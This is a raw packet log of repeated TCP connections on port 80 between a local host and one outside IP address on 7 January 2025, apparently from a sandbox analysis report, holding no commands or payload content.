Jan 7, 2025 11:58:15.906706095 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.911057949 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.911216974 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.911434889 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.911489010 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.911514997 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.911593914 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.911669970 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.916399002 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.261389017 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:16.266263962 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.266280890 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.266290903 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.556817055 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.604943991 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:16.692776918 CET	80	49944	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.745546103 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:16.819827080 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:16.824592113 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:16.824660063 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:16.824744940 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:16.829452991 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.183183908 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.188121080 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.188133955 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.188143969 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.506191015 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.558140039 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.640724897 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.683145046 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.757751942 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.758379936 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.762779951 CET	80	49950	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.762864113 CET	49950	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.763211012 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:17.763288975 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.763370037 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:17.768143892 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.120778084 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.125667095 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.125722885 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.125735044 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.418359041 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.464338064 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.584285021 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.636217117 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.714967966 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.715594053 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.829806089 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.830347061 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.831165075 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.831173897 CET	80	49957	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:18.831255913 CET	49957	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.831265926 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.831490993 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:18.836226940 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.186757088 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.191673994 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.191684008 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.191693068 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.467375040 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.511179924 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.595249891 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.636183023 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.725334883 CET	49944	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.726793051 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.727447987 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.731734991 CET	80	49963	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.731801987 CET	49963	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.732218027 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:19.732295036 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.732399940 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:19.737168074 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.089550972 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.094404936 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.094415903 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.094424963 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.387481928 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.433063030 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.542830944 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.589308977 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.663331985 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.664105892 CET	49975	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.668346882 CET	80	49969	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.668396950 CET	49969	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.668891907 CET	80	49975	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.668998957 CET	49975	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.669102907 CET	49975	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.673810959 CET	80	49975	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.793404102 CET	49975	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.793879986 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.798641920 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.798746109 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.798834085 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.803561926 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.840322971 CET	80	49975	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.915957928 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.920780897 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:20.920857906 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.920957088 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:20.925699949 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.121092081 CET	80	49975	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.121154070 CET	49975	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.151984930 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.156764984 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.156996965 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.277215004 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.282037020 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.282047987 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.282057047 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.436938047 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.479938984 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.567059040 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.594249964 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.620549917 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.636179924 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.728714943 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.776895046 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.851010084 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.851012945 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.851648092 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.856089115 CET	80	49982	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.856162071 CET	49982	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.856400013 CET	80	49981	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.856414080 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:21.856456041 CET	49981	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.856486082 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.856573105 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:21.861289978 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.214437008 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:22.219289064 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.219302893 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.219377995 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.521430016 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.573700905 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:22.656677008 CET	80	49988	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.698765993 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:22.796397924 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:22.801223040 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:22.801367998 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:22.801465988 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:22.806528091 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.151928902 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.156862974 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.156877041 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.157016039 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.446643114 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.495594978 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.580897093 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.620649099 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.694176912 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.694785118 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.699562073 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.699634075 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.699721098 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.699896097 CET	80	49994	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:23.699950933 CET	49994	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:23.704503059 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.058171034 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.063117981 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.063133001 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.063143015 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.357175112 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.401803017 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.486891985 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.542433023 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.598313093 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.598864079 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.603240967 CET	80	50001	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.603301048 CET	50001	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.603667974 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.603724957 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.603809118 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.608551025 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.948781967 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:24.953615904 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.953629017 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:24.953639984 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:25.263168097 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:25.308079004 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.639997959 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:25.640012026 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:25.640075922 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.764024973 CET	49988	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.764857054 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.765520096 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.769784927 CET	80	50011	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:25.770296097 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:25.770370960 CET	50011	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.770409107 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.774041891 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:25.778793097 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.121011019 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.125886917 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.125906944 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.125917912 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.425968885 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.479938030 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.575647116 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.575927019 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.580499887 CET	80	50017	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.580573082 CET	50017	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.580694914 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.580776930 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.580897093 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.585649014 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.696764946 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.701693058 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.701770067 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.701873064 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.706836939 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.933345079 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:26.938141108 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:26.938247919 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.058207035 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.063112974 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.063134909 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.063220024 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.217132092 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.261195898 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.347106934 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.353787899 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.401834011 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.401835918 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.486126900 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.526809931 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.601581097 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.601751089 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.602379084 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.606997013 CET	80	50022	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.607429981 CET	80	50023	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.607495070 CET	50022	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.607515097 CET	50023	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.607533932 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.607598066 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.607680082 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.612498045 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.964940071 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:27.969844103 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.969856977 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:27.969868898 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:28.258249044 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:28.308084011 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:28.388850927 CET	80	50030	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:28.433089972 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:28.679054022 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:28.683840036 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:28.683906078 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:28.684082985 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:28.688847065 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.042717934 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.047584057 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.047595978 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.047610044 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.320918083 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.370587111 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.451194048 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.495574951 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.566138029 CET	50030	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.568770885 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.569258928 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.573740005 CET	80	50036	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.574054956 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.574115992 CET	50036	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.574141979 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.574264050 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.579036951 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.933250904 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:29.938080072 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.938102007 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:29.938127041 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:30.220545053 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:30.261203051 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.353065968 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:30.401875019 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.477802038 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.478492975 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.482748985 CET	80	50043	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:30.482808113 CET	50043	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.483350992 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:30.483458996 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.483547926 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.488326073 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:30.839613914 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:30.886260986 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.026123047 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.026146889 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.026391029 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.026401997 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.119961023 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.167479038 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.284373045 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.339332104 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.417362928 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.418282032 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.422348022 CET	80	50048	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.422401905 CET	50048	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.423084021 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.423154116 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.423269987 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.428050041 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.777065992 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:31.781908035 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.781944990 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:31.781955004 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.060446024 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.104960918 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.191009998 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.245578051 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.320892096 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.321635962 CET	50062	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.326005936 CET	80	50056	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.326081991 CET	50056	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.326472044 CET	80	50062	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.326545000 CET	50062	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.326642990 CET	50062	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.331515074 CET	80	50062	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.355488062 CET	50062	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.356070042 CET	50063	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.360832930 CET	80	50063	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.360902071 CET	50063	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.360996962 CET	50063	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.365760088 CET	80	50063	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.404306889 CET	80	50062	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.481590033 CET	50064	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.486423016 CET	80	50064	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.488081932 CET	50064	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.488189936 CET	50064	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.492918968 CET	80	50064	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.714416027 CET	50063	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.719208956 CET	80	50063	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.719346046 CET	80	50063	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.783765078 CET	80	50062	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.783829927 CET	50062	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.839452982 CET	50064	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:32.844439983 CET	80	50064	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.844453096 CET	80	50064	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:32.844460964 CET	80	50064	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:33.016716957 CET	80	50063	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:33.058079004 CET	50063	80	192.168.2.4	185.158.202.52
